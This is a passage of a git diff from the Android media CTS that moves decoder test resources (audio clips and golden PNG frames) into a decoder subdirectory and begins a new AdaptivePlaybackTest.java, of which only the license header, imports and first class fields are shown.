rename to tests/tests/media/decoder/res/raw/noise_1ch_48khz_aot39_dr_sbr_fl480_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_08khz_aot42_19_lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_08khz_aot42_19_lufs_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_08khz_aot42_19_lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_08khz_aot42_19_lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_12khz_aot42_19_lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_12khz_aot42_19_lufs_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_12khz_aot42_19_lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_12khz_aot42_19_lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_19_2khz_aot42_no_ludt_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_19_2khz_aot42_no_ludt_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_19_2khz_aot42_no_ludt_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_19_2khz_aot42_no_ludt_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_22_05khz_aot42_19_lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_22_05khz_aot42_19_lufs_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_22_05khz_aot42_19_lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_22_05khz_aot42_19_lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_22khz_aot39_ds_sbr_fl512_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_22khz_aot39_ds_sbr_fl512_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_22khz_aot39_ds_sbr_fl512_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_22khz_aot39_ds_sbr_fl512_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_24khz_aot29_dr_sbr_sig0_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_24khz_aot29_dr_sbr_sig0_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_24khz_aot29_dr_sbr_sig0_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_24khz_aot29_dr_sbr_sig0_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_24khz_aot5_dr_sbr_sig2_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_24khz_aot5_dr_sbr_sig2_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_24khz_aot5_dr_sbr_sig2_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_24khz_aot5_dr_sbr_sig2_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_32khz_aot39_ds_sbr_fl512_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_32khz_aot39_ds_sbr_fl512_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_32khz_aot39_ds_sbr_fl512_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_32khz_aot39_ds_sbr_fl512_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_32khz_aot42_19_lufs_drc_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_32khz_aot42_19_lufs_drc_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_32khz_aot42_19_lufs_drc_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_32khz_aot42_19_lufs_drc_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_32khz_aot5_ds_sbr_sig2_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_32khz_aot5_ds_sbr_sig2_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_32khz_aot5_ds_sbr_sig2_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_32khz_aot5_ds_sbr_sig2_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_44khz_aot29_dr_sbr_sig1_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_44khz_aot29_dr_sbr_sig1_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_44khz_aot29_dr_sbr_sig1_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_44khz_aot29_dr_sbr_sig1_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_44khz_aot39_dr_sbr_fl480_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_44khz_aot39_dr_sbr_fl480_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_44khz_aot39_dr_sbr_fl480_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_44khz_aot39_dr_sbr_fl480_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_aot42_19_lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot42_19_lufs_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_aot42_19_lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot42_19_lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_aot5_dr_sbr_sig1_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot5_dr_sbr_sig1_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_aot5_dr_sbr_sig1_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot5_dr_sbr_sig1_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_aot5_ds_sbr_sig1_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot5_ds_sbr_sig1_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_aot5_ds_sbr_sig1_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_aot5_ds_sbr_sig1_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_64khz_aot42_19_lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_64khz_aot42_19_lufs_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_64khz_aot42_19_lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_64khz_aot42_19_lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_88_2khz_aot42_19_lufs_mp4.m4a b/tests/tests/media/decoder/res/raw/noise_2ch_88_2khz_aot42_19_lufs_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/noise_2ch_88_2khz_aot42_19_lufs_mp4.m4a
rename to tests/tests/media/decoder/res/raw/noise_2ch_88_2khz_aot42_19_lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot2_drchalf_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot2_drchalf_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot2_drchalf_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot2_drchalf_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot2_drcheavy_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot2_drcheavy_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot2_drcheavy_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot2_drcheavy_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot5_drcclip_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drcclip_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot5_drcclip_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drcclip_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot5_drcfull_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drcfull_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot5_drcfull_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drcfull_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot5_drclevel_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drclevel_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot5_drclevel_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drclevel_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot5_drcoff_mp4.m4a b/tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drcoff_mp4.m4a
old mode 100755
new mode 100644
similarity index 100%
rename from tests/tests/media/res/raw/sine_2ch_48khz_aot5_drcoff_mp4.m4a
rename to tests/tests/media/decoder/res/raw/sine_2ch_48khz_aot5_drcoff_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_136x240_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_136x240_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_136x240_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_136x240_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_192x144_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_192x144_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_192x144_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_192x144_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_202x360_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_202x360_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_202x360_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_202x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x108_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_256x108_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x108_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_256x108_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x144_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_256x144_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x144_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_256x144_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_270x480_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_270x480_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_270x480_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_270x480_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_320x240_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_320x240_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_320x240_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_320x240_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_406x720_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_406x720_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_406x720_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_406x720_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x182_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_426x182_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x182_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_426x182_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x240_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_426x240_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x240_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_426x240_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_480x360_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_480x360_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_480x360_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_480x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x272_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_640x272_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x272_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_640x272_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x360_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_640x360_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x360_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_640x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x480_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_640x480_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x480_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_640x480_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_82x144_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_82x144_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_82x144_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_82x144_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x362_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_854x362_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x362_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_854x362_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x480_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_854x480_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x480_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_854x480_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_960x720_golden.png b/tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_960x720_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_accuracy_and_capability_960x720_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_accuracy_and_capability_960x720_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_with_cropping_520x360_golden.png b/tests/tests/media/decoder/res/raw/video_decode_with_cropping_520x360_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_with_cropping_520x360_golden.png
rename to tests/tests/media/decoder/res/raw/video_decode_with_cropping_520x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_with_cropping_520x360_original.png b/tests/tests/media/decoder/res/raw/video_decode_with_cropping_520x360_original.png
similarity index 100%
rename from tests/tests/media/res/raw/video_decode_with_cropping_520x360_original.png
rename to tests/tests/media/decoder/res/raw/video_decode_with_cropping_520x360_original.png
Binary files differ
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/AdaptivePlaybackTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/AdaptivePlaybackTest.java
new file mode 100644
index 0000000..c0f09f0
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/AdaptivePlaybackTest.java
@@ -0,0 +1,1900 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaTestBase;
+import android.media.cts.OutputSurface;
+import android.media.cts.Preconditions;
+import android.media.cts.TestArgs;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.Surface;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import android.opengl.GLES20;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import javax.microedition.khronos.opengles.GL10;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.Locale;
+import java.util.Vector;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.zip.CRC32;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+
+@MediaHeavyPresubmitTest
+@AppModeFull
+@RunWith(Parameterized.class)
+public class AdaptivePlaybackTest extends MediaTestBase {
+
+    private static final boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    private static final String TAG = "AdaptivePlaybackTest";
+    private boolean verify = false;
+    private static final int MIN_FRAMES_BEFORE_DRC = 2;
+    private CRC32 mCRC;
+
